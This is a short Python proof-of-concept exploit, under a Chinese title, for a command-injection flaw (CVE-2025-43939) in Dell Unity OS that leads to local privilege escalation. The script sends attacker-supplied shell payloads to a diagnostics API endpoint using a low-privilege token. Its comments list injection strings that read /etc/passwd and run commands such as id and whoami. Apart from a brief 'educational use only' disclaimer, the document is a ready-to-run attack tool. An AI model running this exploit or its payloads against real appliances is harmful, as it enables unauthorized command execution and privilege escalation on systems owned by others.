CVE-2025-43939: Dell Unity OS命令注入漏洞导致本地权限提升

# CVE-2025-43939 PoC - Dell Unity OS Command Injection # NOTE: This PoC is for educational and security research purposes only # Unauthorized access to computer systems is illegal import requests import sys def exploit_cve_2025_43939(target_url, payload): """ Exploit for CVE-2025-43939: Dell Unity OS Command Injection Args: target_url: Base URL of the Dell Unity management interface payload: Malicious command to inject Returns: Response from the server """ # Construct the malicious request # The vulnerability exists in the parameter that accepts user input # without proper sanitization before passing to system() call endpoint = f"{target_url}/api/v1/system/diagnostics" # Payload examples: # '; cat /etc/passwd #' - Read sensitive files # '&& id' - Execute system commands # '; whoami' - Check current user params = { 'command': payload, 'type': 'diagnostic' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Bearer <low_privilege_token>' } try: response = requests.post(endpoint, data=params, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def main(): if len(sys.argv) < 3: print("Usage: python cve_2025_43939.py <target_url> <payload>") print("Example: python cve_2025_43939.py https://dell-unity.local '; id'") sys.exit(1) target_url = sys.argv[1] payload = sys.argv[2] print(f"[*] Exploiting CVE-2025-43939 on {target_url}") print(f"[*] Payload: {payload}") result = exploit_cve_2025_43939(target_url, payload) if result: print(f"[+] Response:\n{result}") if __name__ == "__main__": main()